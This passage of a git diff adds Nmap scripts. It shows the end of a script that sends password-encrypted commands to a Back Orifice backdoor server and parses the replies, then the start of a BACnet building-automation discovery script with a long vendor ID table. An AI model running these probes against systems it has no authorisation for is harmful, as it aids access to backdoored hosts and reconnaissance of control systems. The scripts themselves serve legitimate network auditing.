+ port.version.extrainfo = "password="..password
+ end
+ end
+ port.version.hostname = BOhostname
+ if(port.version.ostype == nil) then port.version.ostype = "Windows" end
+ nmap.set_port_version(host, port)
+ nmap.set_port_state(host, port, "open")
+end
+
+action = function( host, port )
+ --initial seed is set by backorifice-brute
+ local initial_seed = stdnse.get_script_args( SCRIPT_NAME .. ".seed" )
+ local password = stdnse.get_script_args(SCRIPT_NAME .. ".password")
+ local socket = nmap.new_socket("udp")
+ local try = nmap.new_try(function() socket:close() end)
+ socket:set_timeout(5000)
+
+ local output_all={}
+
+ for i=1,#cmds do
+ --send command
+ local data = BOpack( cmds[i].p_code, cmds[i].arg1, cmds[i].arg2 )
+ data = BOcrypt(data, password, initial_seed)
+ try(socket:sendto(host, port, data))
+
+ --receive info
+ local output, response, p_type, multi_flag
+ output = {}
+ output.name = cmds[i].cmd_name
+ multi_flag = false
+ while true do
+ response = try(socket:receive())
+ response = BOcrypt(response,password,initial_seed)
+ response, p_type = BOunpack(response) -- p_type -> error, singular, partial, continued
+
+ if p_type ~= TYPE.ERROR then
+ local tmp_str = cmds[i].filter(response)
+ if tmp_str ~= nil then
+ if cmds[i].p_code==TYPE.PING then
+ --invalid chars for hostname are allowed on old windows boxes
+ local BOversion, BOhostname = string.match(tmp_str,"!PONG!(1%.20)!(.*)!")
+ if BOversion==nil then
+ --in case of bad PING reply return ""
+ return
+ else
+ --fill up version information
+ insert_version_info(host,port,BOversion,BOhostname,initial_seed,password)
+ end
+ end
+
+ table.insert(output,tmp_str)
+ end
+
+ --singular
+ if (p_type & TYPE.PARTIAL_PACKET)==0x00
+ and (p_type & TYPE.CONTINUED_PACKET)==0x00 then break end
+
+ --first
+ if (p_type & TYPE.CONTINUED_PACKET)==0x00 then
+ multi_flag = true
+ end
+
+ --last
+ if (p_type & TYPE.PARTIAL_PACKET)==0x00 then break end
+ end
+
+ end
+ --gather all responses in table
+ table.insert(output_all,output)
+ end
+
+ socket:close()
+ return stdnse.format_output(true,output_all)
+end
diff --git a/scripts/bacnet-info.nse b/scripts/bacnet-info.nse
new file mode 100644
index 0000000..8f5add2
--- /dev/null
+++ b/scripts/bacnet-info.nse
@@ -0,0 +1,1569 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local unicode = require "unicode"
+
+description = [[
+Discovers and enumerates BACNet Devices collects device information based off
+standard requests. In some cases, devices may not strictly follow the
+specifications, or may comply with older versions of the specifications, and
+will result in a BACNET error response. Presence of this error positively
+identifies the device as a BACNet device, but no enumeration is possible.
+
+Note: Requests and responses are via UDP 47808, ensure scanner will receive UDP
+47808 source and destination responses.
+
+http://digitalbond.com
+
+]]
+
+---
+-- @usage
+-- nmap --script bacnet-info -sU -p 47808 <host>
+--
+-- @output
+--47808/udp open bacnet
+--| bacnet-discover:
+--| Vendor ID: BACnet Stack at SourceForge (260)
+--| Vendor Name: BACnet Stack at SourceForge
+--| Instance Number: 260001
+--| Firmware: 0.8.2
+--| Application Software: 1.0
+--| Object Name: SimpleServer
+--| Model Name: GNU
+--| Description: server
+--|_ Location: USA
+--
+-- @xmloutput
+--<elem key="Vendor ID">BACnet Stack at SourceForge (260)</elem>
+--<elem key="Vendor Name">BACnet Stack at SourceForge</elem>
+--<elem key="Object-identifier">260001</elem>
+--<elem key="Firmware">0.8.2</elem>
+--<elem key="Application Software">1.0</elem>
+--<elem key="Object Name">SimpleServer</elem>
+--<elem key="Model Name">GNU</elem>
+--<elem key="Description">server</elem>
+--<elem key="Location">USA</elem>
+
+
+
+author = {"Stephen Hilt", "Michael Toecker"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "version"}
+
+
+--
+-- Function to define the portrule as per nmap standards
+--
+--
+--
+
+portrule = shortport.version_port_or_service(47808, "bacnet", {"udp","tcp"})
+
+---
+-- Table to look up the Vendor Name based on Vendor ID
+-- Table data from http://www.bacnet.org/VendorID/BACnet%20Vendor%20IDs.htm
+-- Fetched on 9/26/2015
+--
+-- @key vennum Vendor number parsed out of the BACNet packet
+local vendor_id = {
+ [0] = "ASHRAE",
+ [1] = "NIST",
+ [2] = "The Trane Company",
+ [3] = "McQuay International",
+ [4] = "PolarSoft",
+ [5] = "Johnson Controls Inc.",
+ [6] = "American Auto-Matrix",
+ [7] = "Siemens Schweiz AG (Formerly: Landis & Staefa Division Europe)",
+ [8] = "Delta Controls",
+ [9] = "Siemens Schweiz AG",
+ [10] = "Schneider Electric",
+ [11] = "TAC",
+ [12] = "Orion Analysis Corporation",
+ [13] = "Teletrol Systems Inc.",
+ [14] = "Cimetrics Technology",
+ [15] = "Cornell University",
+ [16] = "United Technologies Carrier",
+ [17] = "Honeywell Inc.",
+ [18] = "Alerton / Honeywell",
+ [19] = "TAC AB",
+ [20] = "Hewlett-Packard Company",
+ [21] = "Dorsette.s Inc.",
+ [22] = "Siemens Schweiz AG (Formerly: Cerberus AG)",
+ [23] = "York Controls Group",
+ [24] = "Automated Logic Corporation",
+ [25] = "CSI Control Systems International",
+ [26] = "Phoenix Controls Corporation",
+ [27] = "Innovex Technologies Inc.",
+ [28] = "KMC Controls Inc.",
+ [29] = "Xn Technologies Inc.",
+ [30] = "Hyundai Information Technology Co. Ltd.",
+ [31] = "Tokimec Inc.",
+ [32] = "Simplex",
+ [33] = "North Building Technologies Limited",
+ [34] = "Notifier",
+ [35] = "Reliable Controls Corporation",
+ [36] = "Tridium Inc.",
+ [37] = "Sierra Monitor Corporation/FieldServer Technologies",
+ [38] = "Silicon Energy",
+ [39] = "Kieback & Peter GmbH & Co KG",
+ [40] = "Anacon Systems Inc.",
+ [41] = "Systems Controls & Instruments LLC",
+ [42] = "Lithonia Lighting",
+ [43] = "Micropower Manufacturing",
+ [44] = "Matrix Controls",
+ [45] = "METALAIRE",
+ [46] = "ESS Engineering",
+ [47] = "Sphere Systems Pty Ltd.",
+ [48] = "Walker Technologies Corporation",
+ [49] = "H I Solutions Inc.",
+ [50] = "MBS GmbH",
+ [51] = "SAMSON AG",
+ [52] = "Badger Meter Inc.",
+ [53] = "DAIKIN Industries Ltd.",
+ [54] = "NARA Controls Inc.",
+ [55] = "Mammoth Inc.",
+ [56] = "Liebert Corporation",
+ [57] = "SEMCO Incorporated",
+ [58] = "Air Monitor Corporation",
+ [59] = "TRIATEK LLC",
+ [60] = "NexLight",
+ [61] = "Multistack",
+ [62] = "TSI Incorporated",
+ [63] = "Weather-Rite Inc.",
+ [64] = "Dunham-Bush",
+ [65] = "Reliance Electric",
+ [66] = "LCS Inc.",
+ [67] = "Regulator Australia PTY Ltd.",
+ [68] = "Touch-Plate Lighting Controls",
+ [69] = "Amann GmbH",
+ [70] = "RLE Technologies",
+ [71] = "Cardkey Systems",
+ [72] = "SECOM Co. Ltd.",
+ [73] = "ABB Gebäetechnik AG Bereich NetServ",
+ [74] = "KNX Association cvba",
+ [75] = "Institute of Electrical Installation Engineers of Japan (IEIEJ)",
+ [76] = "Nohmi Bosai Ltd.",
+ [77] = "Carel S.p.A.",
+ [78] = "AirSense Technology Inc.",
+ [79] = "Hochiki Corporation",
+ [80] = "Fr. Sauter AG",
+ [81] = "Matsushita Electric Works Ltd.",
+ [82] = "Mitsubishi Electric Corporation Inazawa Works",
+ [83] = "Mitsubishi Heavy Industries Ltd.",
+ [84] = "ITT Bell & Gossett",
+ [85] = "Yamatake Building Systems Co. Ltd.",
+ [86] = "The Watt Stopper Inc.",
+ [87] = "Aichi Tokei Denki Co. Ltd.",
+ [88] = "Activation Technologies LLC",
+ [89] = "Saia-Burgess Controls Ltd.",
+ [90] = "Hitachi Ltd.",
+ [91] = "Novar Corp./Trend Control Systems Ltd.",
+ [92] = "Mitsubishi Electric Lighting Corporation",
+ [93] = "Argus Control Systems Ltd.",
+ [94] = "Kyuki Corporation",
+ [95] = "Richards-Zeta Building Intelligence Inc.",
+ [96] = "Scientech R&D Inc.",
+ [97] = "VCI Controls Inc.",
+ [98] = "Toshiba Corporation",
+ [99] = "Mitsubishi Electric Corporation Air Conditioning & Refrigeration Systems Works",
+ [100] = "Custom Mechanical Equipment LLC",
+ [101] = "ClimateMaster",
+ [102] = "ICP Panel-Tec Inc.",
+ [103] = "D-Tek Controls",
+ [104] = "NEC Engineering Ltd.",
+ [105] = "PRIVA BV",
+ [106] = "Meidensha Corporation",
+ [107] = "JCI Systems Integration Services",
+ [108] = "Freedom Corporation",
+ [109] = "Neuberger Gebäeautomation GmbH",
+ [110] = "Sitronix",
+ [111] = "Leviton Manufacturing",
+ [112] = "Fujitsu Limited",
+ [113] = "Emerson Network Power",
+ [114] = "S. A. Armstrong Ltd.",
+ [115] = "Visonet AG",
+ [116] = "M&M Systems Inc.",
+ [117] = "Custom Software Engineering",
+ [118] = "Nittan Company Limited",
+ [119] = "Elutions Inc. (Wizcon Systems SAS)",
+ [120] = "Pacom Systems Pty. Ltd.",
+ [121] = "Unico Inc.",
+ [122] = "Ebtron Inc.",
+ [123] = "Scada Engine",
+ [124] = "AC Technology Corporation",
+ [125] = "Eagle Technology",
+ [126] = "Data Aire Inc.",
+ [127] = "ABB Inc.",
+ [128] = "Transbit Sp. z o. o.",
+ [129] = "Toshiba Carrier Corporation",
+ [130] = "Shenzhen Junzhi Hi-Tech Co. Ltd.",
+ [131] = "Tokai Soft",
+ [132] = "Blue Ridge Technologies",
+ [133] = "Veris Industries",
+ [134] = "Centaurus Prime",
+ [135] = "Sand Network Systems",
+ [136] = "Regulvar Inc.",
+ [137] = "AFDtek Division of Fastek International Inc.",
+ [138] = "PowerCold Comfort Air Solutions Inc.",
+ [139] = "I Controls",
+ [140] = "Viconics Electronics Inc.",
+ [141] = "Yaskawa America Inc.",
+ [142] = "DEOS control systems GmbH",
+ [143] = "Digitale Mess- und Steuersysteme AG",
+ [144] = "Fujitsu General Limited",
+ [145] = "Project Engineering S.r.l.",
+ [146] = "Sanyo Electric Co. Ltd.",
+ [147] = "Integrated Information Systems Inc.",
+ [148] = "Temco Controls Ltd.",
+ [149] = "Airtek International Inc.",
+ [150] = "Advantech Corporation",
+ [151] = "Titan Products Ltd.",
+ [152] = "Regel Partners",
+ [153] = "National Environmental Product",
+ [154] = "Unitec Corporation",
+ [155] = "Kanden Engineering Company",
+ [156] = "Messner Gebäetechnik GmbH",
+ [157] = "Integrated.CH",
+ [158] = "Price Industries",
+ [159] = "SE-Elektronic GmbH",
+ [160] = "Rockwell Automation",
+ [161] = "Enflex Corp.",
+ [162] = "ASI Controls",
+ [163] = "SysMik GmbH Dresden",
+ [164] = "HSC Regelungstechnik GmbH",
+ [165] = "Smart Temp Australia Pty. Ltd.",
+ [166] = "Cooper Controls",
+ [167] = "Duksan Mecasys Co. Ltd.",
+ [168] = "Fuji IT Co. Ltd.",
+ [169] = "Vacon Plc",
+ [170] = "Leader Controls",
+ [171] = "Cylon Controls Ltd.",
+ [172] = "Compas",
+ [173] = "Mitsubishi Electric Building Techno-Service Co. Ltd.",
+ [174] = "Building Control Integrators",
+ [175] = "ITG Worldwide (M) Sdn Bhd",
+ [176] = "Lutron Electronics Co. Inc.",
+ [178] = "LOYTEC Electronics GmbH",
+ [179] = "ProLon",
+ [180] = "Mega Controls Limited",
+ [181] = "Micro Control Systems Inc.",
+ [182] = "Kiyon Inc.",
+ [183] = "Dust Networks",
+ [184] = "Advanced Building Automation Systems",
+ [185] = "Hermos AG",
+ [186] = "CEZIM",
+ [187] = "Softing",
+ [188] = "Lynxspring",
+ [189] = "Schneider Toshiba Inverter Europe",
+ [190] = "Danfoss Drives A/S",
+ [191] = "Eaton Corporation",
+ [192] = "Matyca S.A.",
+ [193] = "Botech AB",
+ [194] = "Noveo Inc.",
+ [195] = "AMEV",
+ [196] = "Yokogawa Electric Corporation",
+ [197] = "GFR Gesellschaft füelungstechnik",
+ [198] = "Exact Logic",
+ [199] = "Mass Electronics Pty Ltd dba Innotech Control Systems Australia",
+ [200] = "Kandenko Co. Ltd.",
+ [201] = "DTF Daten-Technik Fries",
+ [202] = "Klimasoft Ltd.",
+ [203] = "Toshiba Schneider Inverter Corporation",
+ [204] = "Control Applications Ltd.",
+ [205] = "KDT Systems Co. Ltd.",
+ [206] = "Onicon Incorporated",
+ [207] = "Automation Displays Inc.",
+ [208] = "Control Solutions Inc.",
+ [209] = "Remsdaq Limited",
+ [210] = "NTT Facilities Inc.",
+ [211] = "VIPA GmbH",
+ [212] = "TSC21 Association of Japan",
+ [213] = "Strato Automation",
+ [214] = "HRW Limited",
+ [215] = "Lighting Control & Design Inc.",
+ [216] = "Mercy Electronic and Electrical Industries",
+ [217] = "Samsung SDS Co.Ltd",
+ [218] = "Impact Facility Solutions Inc.",
+ [219] = "Aircuity",
+ [220] = "Control Techniques Ltd.",
+ [221] = "OpenGeneral Pty. Ltd.",
+ [222] = "WAGO Kontakttechnik GmbH & Co. KG",
+ [223] = "Cerus Industrial",
+ [224] = "Chloride Power Protection Company",
+ [225] = "Computrols Inc.",
+ [226] = "Phoenix Contact GmbH & Co. KG",
+ [227] = "Grundfos Management A/S",
+ [228] = "Ridder Drive Systems",
+ [229] = "Soft Device SDN BHD",
+ [230] = "Integrated Control Technology Limited",
+ [231] = "AIRxpert Systems Inc.",
+ [232] = "Microtrol Limited",
+ [233] = "Red Lion Controls",
+ [234] = "Digital Electronics Corporation",
+ [235] = "Ennovatis GmbH",
+ [236] = "Serotonin Software Technologies Inc.",
+ [237] = "LS Industrial Systems Co. Ltd.",
+ [238] = "Square D Company",
+ [239] = "S Squared Innovations Inc.",
+ [240] = "Aricent Ltd.",
+ [241] = "EtherMetrics LLC",
+ [242] = "Industrial Control Communications Inc.",
+ [243] = "Paragon Controls Inc.",
+ [244] = "A. O. Smith Corporation",
+ [245] = "Contemporary Control Systems Inc.",
+ [246] = "Intesis Software SL",
+ [247] = "Ingenieurgesellschaft N. Hartleb mbH",
+ [248] = "Heat-Timer Corporation",
+ [249] = "Ingrasys Technology Inc.",
+ [250] = "Costerm Building Automation",
+ [251] = "WILO SE",
+ [252] = "Embedia Technologies Corp.",
+ [253] = "Technilog",
+ [254] = "HR Controls Ltd. & Co. KG",
+ [255] = "Lennox International Inc.",
+ [256] = "RK-Tec Rauchklappen-Steuerungssysteme GmbH & Co. KG",
+ [257] = "Thermomax Ltd.",
+ [258] = "ELCON Electronic Control Ltd.",
+ [259] = "Larmia Control AB",
+ [260] = "BACnet Stack at SourceForge",
+ [261] = "G4S Security Services A/S",
+ [262] = "Exor International S.p.A.",
+ [263] = "Cristal Controles",
+ [264] = "Regin AB",
+ [265] = "Dimension Software Inc.",
+ [266] = "SynapSense Corporation",
+ [267] = "Beijing Nantree Electronic Co. Ltd.",
+ [268] = "Camus Hydronics Ltd.",
+ [269] = "Kawasaki Heavy Industries Ltd.",
+ [270] = "Critical Environment Technologies",
+ [271] = "ILSHIN IBS Co. Ltd.",
+ [272] = "ELESTA Energy Control AG",
+ [273] = "KROPMAN Installatietechniek",
+ [274] = "Baldor Electric Company",
+ [275] = "INGA mbH",
+ [276] = "GE Consumer & Industrial",
+ [277] = "Functional Devices Inc.",
+ [278] = "ESAC",
+ [279] = "M-System Co. Ltd.",
+ [280] = "Yokota Co. Ltd.",
+ [281] = "Hitranse Technology Co.LTD",
+ [282] = "Federspiel Controls",
+ [283] = "Kele Inc.",
+ [284] = "Opera Electronics Inc.",
+ [285] = "Gentec",
+ [286] = "Embedded Science Labs LLC",
+ [287] = "Parker Hannifin Corporation",
+ [288] = "MaCaPS International Limited",
+ [289] = "Link4 Corporation",
+ [290] = "Romutec Steuer-u. Regelsysteme GmbH",
+ [291] = "Pribusin Inc.",
+ [292] = "Advantage Controls",
+ [293] = "Critical Room Control",
+ [294] = "LEGRAND",
+ [295] = "Tongdy Control Technology Co. Ltd.",
+ [296] = "ISSARO Integrierte Systemtechnik",
+ [297] = "Pro-Dev Industries",
+ [298] = "DRI-STEEM",
+ [299] = "Creative Electronic GmbH",
+ [300] = "Swegon AB",
+ [301] = "Jan Brachacek",
+ [302] = "Hitachi Appliances Inc.",
+ [303] = "Real Time Automation Inc.",
+ [304] = "ITEC Hankyu-Hanshin Co.",
+ [305] = "Cyrus E&M Engineering Co. Ltd.",
+ [306] = "Racine Federated Inc.",
+ [307] = "Cirrascale Corporation",
+ [308] = "Elesta GmbH Building Automation",
+ [309] = "Securiton",
+ [310] = "OSlsoft Inc.",
+ [311] = "Hanazeder Electronic GmbH",
+ [312] = "Honeywell Security DeutschlandNovar GmbH",
+ [313] = "Siemens Energy & Automation Inc.",
+ [314] = "ETM Professional Control GmbH",
+ [315] = "Meitav-tec Ltd.",
+ [316] = "Janitza Electronics GmbH",
+ [317] = "MKS Nordhausen",
+ [318] = "De Gier Drive Systems B.V.",
+ [319] = "Cypress Envirosystems",
+ [320] = "SMARTron s.r.o.",
+ [321] = "Verari Systems Inc.",
+ [322] = "K-W Electronic Service Inc.",
+ [323] = "ALFA-SMART Energy Management",
+ [324] = "Telkonet Inc.",
+ [325] = "Securiton GmbH",
+ [326] = "Cemtrex Inc.",
+ [327] = "Performance Technologies Inc.",
+ [328] = "Xtralis (Aust) Pty Ltd",
+ [329] = "TROX GmbH",
+ [330] = "Beijing Hysine Technology Co.Ltd",
+ [331] = "RCK Controls Inc.",
+ [332] = "Distech Controls SAS",
+ [333] = "Novar/Honeywell",
+ [334] = "The S4 Group Inc.",
+ [335] = "Schneider Electric",
+ [336] = "LHA Systems",
+ [337] = "GHM engineering Group Inc.",
+ [338] = "Cllimalux S.A.",
+ [339] = "VAISALA Oyj",
+ [340] = "COMPLEX (Beijing) TechnologyCo. Ltd.",
+ [341] = "SCADAmetrics",
+ [342] = "POWERPEG NSI Limited",
+ [343] = "BACnet Interoperability Testing Services Inc.",
+ [344] = "Teco a.s.",
+ [345] = "Plexus Technology Inc.",
+ [346] = "Energy Focus Inc.",
+ [347] = "Powersmiths International Corp.",
+ [348] = "Nichibei Co. Ltd.",
+ [349] = "HKC Technology Ltd.",
+ [350] = "Ovation Networks Inc.",
+ [351] = "Setra Systems",
+ [352] = "AVG Automation",
+ [353] = "ZXC Ltd.",
+ [354] = "Byte Sphere",
+ [355] = "Generiton Co. Ltd.",
+ [356] = "Holter Regelarmaturen GmbH & Co. KG",
+ [357] = "Bedford Instruments LLC",
+ [358] = "Standair Inc.",
+ [359] = "WEG Automation - R&D",
+ [360] = "Prolon Control Systems ApS",
+ [361] = "Inneasoft",
+ [362] = "ConneXSoft GmbH",
+ [363] = "CEAG Notlichtsysteme GmbH",
+ [364] = "Distech Controls Inc.",
+ [365] = "Industrial Technology Research Institute",
+ [366] = "ICONICS Inc.",
+ [367] = "IQ Controls s.c.",
+ [368] = "OJ Electronics A/S",
+ [369] = "Rolbit Ltd.",
+ [370] = "Synapsys Solutions Ltd.",
+ [371] = "ACME Engineering Prod. Ltd.",
+ [372] = "Zener Electric Pty Ltd.",
+ [373] = "Selectronix Inc.",
+ [374] = "Gorbet & Banerjee LLC.",
+ [375] = "IME",
+ [376] = "Stephen H. Dawson Computer Service",
+ [377] = "Accutrol LLC",
+ [378] = "Schneider Elektronik GmbH",
+ [379] = "Alpha-Inno Tec GmbH",
+ [380] = "ADMMicro Inc.",
+ [381] = "Greystone Energy Systems Inc.",
+ [382] = "CAP Technologie",
+ [383] = "KeRo Systems",
+ [384] = "Domat Control System s.r.o.",
+ [385] = "Efektronics Pty. Ltd.",
+ [386] = "Hekatron Vertriebs GmbH",
+ [387] = "Securiton AG",
+ [388] = "Carlo Gavazzi Controls SpA",
+ [389] = "Chipkin Automation Systems",
+ [390] = "Savant Systems LLC",
+ [391] = "Simmtronic Lighting Controls",
+ [392] = "Abelko Innovation AB",
+ [393] = "Seresco Technologies Inc.",
+ [394] = "IT Watchdogs",
+ [395] = "Automation Assist Japan Corp.",
+ [396] = "Thermokon Sensortechnik GmbH",
+ [397] = "EGauge Systems LLC",
+ [398] = "Quantum Automation (ASIA) PTE Ltd.",
+ [399] = "Toshiba Lighting & Technology Corp.",
+ [400] = "SPIN Engenharia de Automaç Ltda.",
+ [401] = "Logistics Systems & Software Services India PVT. Ltd.",
+ [402] = "Delta Controls Integration Products",
+ [403] = "Focus Media",
+ [404] = "LUMEnergi Inc.",
+ [405] = "Kara Systems",
+ [406] = "RF Code Inc.",
+ [407] = "Fatek Automation Corp.",
+ [408] = "JANDA Software Company LLC",
+ [409] = "Open System Solutions Limited",
+ [410] = "Intelec Systems PTY Ltd.",
+ [411] = "Ecolodgix LLC",
+ [412] = "Douglas Lighting Controls",
+ [413] = "iSAtech GmbH",
+ [414] = "AREAL",
+ [415] = "Beckhoff Automation GmbH",
+ [416] = "IPAS GmbH",
+ [417] = "KE2 Therm Solutions",
+ [418] = "Base2Products",
+ [419] = "DTL Controls LLC",
+ [420] = "INNCOM International Inc.",
+ [421] = "BTR Netcom GmbH",
+ [422] = "Greentrol AutomationInc",
+ [423] = "BELIMO Automation AG",
+ [424] = "Samsung Heavy Industries CoLtd",
+ [425] = "Triacta Power Technologies Inc.",
+ [426] = "Globestar Systems",
+ [427] = "MLB Advanced MediaLP",
+ [428] = "SWG Stuckmann Wirtschaftliche Gebäesysteme GmbH",
+ [429] = "SensorSwitch",
+ [430] = "Multitek Power Limited",
+ [431] = "Aquametro AG",
+ [432] = "LG Electronics Inc.",
+ [433] = "Electronic Theatre Controls Inc.",
+ [434] = "Mitsubishi Electric Corporation Nagoya Works",
+ [435] = "Delta Electronics Inc.",
+ [436] = "Elma Kurtalj Ltd.",
+ [437] = "ADT Fire and Security Sp. A.o.o.",
+ [438] = "Nedap Security Management",
+ [439] = "ESC Automation Inc.",
+ [440] = "DSP4YOU Ltd.",
+ [441] = "GE Sensing and Inspection Technologies",
+ [442] = "Embedded Systems SIA",
+ [443] = "BEFEGA GmbH",
+ [444] = "Baseline Inc.",
+ [445] = "M2M Systems Integrators",
+ [446] = "OEMCtrl",
+ [447] = "Clarkson Controls Limited",
+ [448] = "Rogerwell Control System Limited",
+ [449] = "SCL Elements",
+ [450] = "Hitachi Ltd.",
+ [451] = "Newron System SA",
+ [452] = "BEVECO Gebouwautomatisering BV",
+ [453] = "Streamside Solutions",
+ [454] = "Yellowstone Soft",
+ [455] = "Oztech Intelligent Systems Pty Ltd.",
+ [456] = "Novelan GmbH",
+ [457] = "Flexim Americas Corporation",
+ [458] = "ICP DAS Co. Ltd.",
+ [459] = "CARMA Industries Inc.",
+ [460] = "Log-One Ltd.",
+ [461] = "TECO Electric & Machinery Co. Ltd.",
+ [462] = "ConnectEx Inc.",
+ [463] = "Turbo DDC Sü",
+ [464] = "Quatrosense Environmental Ltd.",
+ [465] = "Fifth Light Technology Ltd.",
+ [466] = "Scientific Solutions Ltd.",
+ [467] = "Controller Area Network Solutions (M) Sdn Bhd",
+ [468] = "RESOL - Elektronische Regelungen GmbH",
+ [469] = "RPBUS LLC",
+ [470] = "BRS Sistemas Eletronicos",
+ [471] = "WindowMaster A/S",
+ [472] = "Sunlux Technologies Ltd.",
+ [473] = "Measurlogic",
+ [474] = "Frimat GmbH",
+ [475] = "Spirax Sarco",
+ [476] = "Luxtron",
+ [477] = "Raypak Inc",
+ [478] = "Air Monitor Corporation",
+ [479] = "Regler Och Webbteknik Sverige (ROWS)",
+ [480] = "Intelligent Lighting Controls Inc.",
+ [481] = "Sanyo Electric Industry Co.Ltd",
+ [482] = "E-Mon Energy Monitoring Products",
+ [483] = "Digital Control Systems",
+ [484] = "ATI Airtest Technologies Inc.",
+ [485] = "SCS SA",
+ [486] = "HMS Industrial Networks AB",
+ [487] = "Shenzhen Universal Intellisys Co Ltd",
+ [488] = "EK Intellisys Sdn Bhd",
+ [489] = "SysCom",
+ [490] = "Firecom Inc.",
+ [491] = "ESA Elektroschaltanlagen Grimma GmbH",
+ [492] = "Kumahira Co Ltd",
+ [493] = "Hotraco",
+ [494] = "SABO Elektronik GmbH",
+ [495] = "Equip'Trans",
+ [496] = "TCS Basys Controls",
+ [497] = "FlowCon International A/S",
+ [498] = "ThyssenKrupp Elevator Americas",
+ [499] = "Abatement Technologies",
+ [500] = "Continental Control Systems LLC",
+ [501] = "WISAG Automatisierungstechnik GmbH & Co KG",
+ [502] = "EasyIO",
+ [503] = "EAP-Electric GmbH",
+ [504] = "Hardmeier",
+ [505] = "Mircom Group of Companies",
+ [506] = "Quest Controls",
+ [507] = "MestekInc",
+ [508] = "Pulse Energy",
+ [509] = "Tachikawa Corporation",
+ [510] = "University of Nebraska-Lincoln",
+ [511] = "Redwood Systems",
+ [512] = "PASStec Industrie-Elektronik GmbH",
+ [513] = "NgEK Inc.",
+ [514] = "FAW Electronics Ltd",
+ [515] = "Jireh Energy Tech Co. Ltd.",
+ [516] = "Enlighted Inc.",
+ [517] = "El-Piast Sp. Z o.o",
+ [518] = "NetxAutomation Software GmbH",
+ [519] = "Invertek Drives",
+ [520] = "Deutschmann Automation GmbH & Co. KG",
+ [521] = "EMU Electronic AG",
+ [522] = "Phaedrus Limited",
+ [523] = "Sigmatek GmbH & Co KG",
+ [524] = "Marlin Controls",
+ [525] = "CircutorSA",
+ [526] = "UTC Fire & Security",
+ [527] = "DENT Instruments Inc.",
+ [528] = "FHP Manufacturing Company - Bosch Group",
+ [529] = "GE Intelligent Platforms",
+ [530] = "Inner Range Pty Ltd",
+ [531] = "GLAS Energy Technology",
+ [532] = "MSR-Electronic-GmbH",
+ [533] = "Energy Control Systems Inc.",
+ [534] = "EMT Controls",
+ [535] = "Daintree Networks Inc.",
+ [536] = "EURO ICC d.o.o",
+ [537] = "TE Connectivity Energy",
+ [538] = "GEZE GmbH",
+ [539] = "NEC Corporation",
+ [540] = "Ho Cheung International Company Limited",
+ [541] = "Sharp Manufacturing Systems Corporation",
+ [542] = "DOT CONTROLS a.s.",
+ [543] = "BeaconMedæ0220",
+ [544] = "Midea Commercial Aircon",
+ [545] = "WattMaster Controls",
+ [546] = "Kamstrup A/S",
+ [547] = "CA Computer Automation GmbH",
+ [548] = "Laars Heating Systems Company",
+ [549] = "Hitachi Systems Ltd.",
+ [550] = "Fushan AKE Electronic Engineering Co. Ltd.",
+ [551] = "Toshiba International Corporation",
+ [552] = "Starman Systems LLC",
+ [553] = "Samsung Techwin Co. Ltd.",
+ [554] = "ISAS-Integrated Switchgear and Systems P/L",
+ [556] = "Obvius",
+ [557] = "Marek Guzik",
+ [558] = "Vortek Instruments LLC",
+ [559] = "Universal Lighting Technologies",
+ [560] = "Myers Power Products Inc.",
+ [561] = "Vector Controls GmbH",
+ [562] = "Crestron Electronics Inc.",
+ [563] = "A&E Controls Limited",
+ [564] = "Projektomontaza A.D.",
+ [565] = "Freeaire Refrigeration",
+ [566] = "Aqua Cooler Pty Limited",
+ [567] = "Basic Controls",
+ [568] = "GE Measurement and Control Solutions Advanced Sensors",
+ [569] = "EQUAL Networks",
+ [570] = "Millennial Net",
+ [571] = "APLI Ltd",
+ [572] = "Electro Industries/GaugeTech",
+ [573] = "SangMyung University",
+ [574] = "Coppertree Analytics Inc.",
+ [575] = "CoreNetiX GmbH",
+ [576] = "Acutherm",
+ [577] = "Dr. Riedel Automatisierungstechnik GmbH",
+ [578] = "Shina System Co.Ltd",
+ [579] = "Iqapertus",
+ [580] = "PSE Technology",
+ [581] = "BA Systems",
+ [582] = "BTICINO",
+ [583] = "Monico Inc.",
+ [584] = "iCue",
+ [585] = "tekmar Control Systems Ltd.",
+ [586] = "Control Technology Corporation",
+ [587] = "GFAE GmbH",
+ [588] = "BeKa Software GmbH",
+ [589] = "Isoil Industria SpA",
+ [590] = "Home Systems Consulting SpA",
+ [591] = "Socomec",
+ [592] = "Everex Communications Inc.",
+ [593] = "Ceiec Electric Technology",
+ [594] = "Atrila GmbH",
+ [595] = "WingTechs",
+ [596] = "Shenzhen Mek Intellisys Pte Ltd.",
+ [597] = "Nestfield Co. Ltd.",
+ [598] = "Swissphone Telecom AG",
+ [599] = "PNTECH JSC",
+ [600] = "Horner APG LLC",
+ [601] = "PVI Industries LLC",
+ [602] = "Ela-compil",
+ [603] = "Pegasus Automation International LLC",
+ [604] = "Wight Electronic Services Ltd.",
+ [605] = "Marcom",
+ [606] = "Exhausto A/S",
+ [607] = "Dwyer Instruments Inc.",
+ [608] = "Link GmbH",
+ [609] = "Oppermann Regelgerate GmbH",
+ [610] = "NuAire Inc.",
+ [611] = "Nortec Humidity Inc.",
+ [612] = "Bigwood Systems Inc.",
+ [613] = "Enbala Power Networks",
+ [614] = "Inter Energy Co. Ltd.",
+ [615] = "ETC",
+ [616] = "COMELEC S.A.R.L",
+ [617] = "Pythia Technologies",
+ [618] = "TrendPoint Systems Inc.",
+ [619] = "AWEX",
+ [620] = "Eurevia",
+ [621] = "Kongsberg E-lon AS",
+ [622] = "FlaktWoods",
+ [623] = "E + E Elektronik GES M.B.H.",
+ [624] = "ARC Informatique",
+ [625] = "SKIDATA AG",
+ [626] = "WSW Solutions",
+ [627] = "Trefon Electronic GmbH",
+ [628] = "Dongseo System",
+ [629] = "Kanontec Intelligence Technology Co. Ltd.",
+ [630] = "EVCO S.p.A.",
+ [631] = "Accuenergy (CANADA) Inc.",
+ [632] = "SoftDEL",
+ [633] = "Orion Energy Systems Inc.",
+ [634] = "Roboticsware",
+ [635] = "DOMIQ Sp. z o.o.",
+ [636] = "Solidyne",
+ [637] = "Elecsys Corporation",
+ [638] = "Conditionaire International Pty. Limited",
+ [639] = "Quebec Inc.",
+ [640] = "Homerun Holdings",
+ [641] = "RFM Inc.",
+ [642] = "Comptek",
+ [643] = "Westco Systems Inc.",
+ [644] = "Advancis Software & Services GmbH",
+ [645] = "Intergrid LLC",
+ [646] = "Markerr Controls Inc.",
+ [647] = "Toshiba Elevator and Building Systems Corporation",
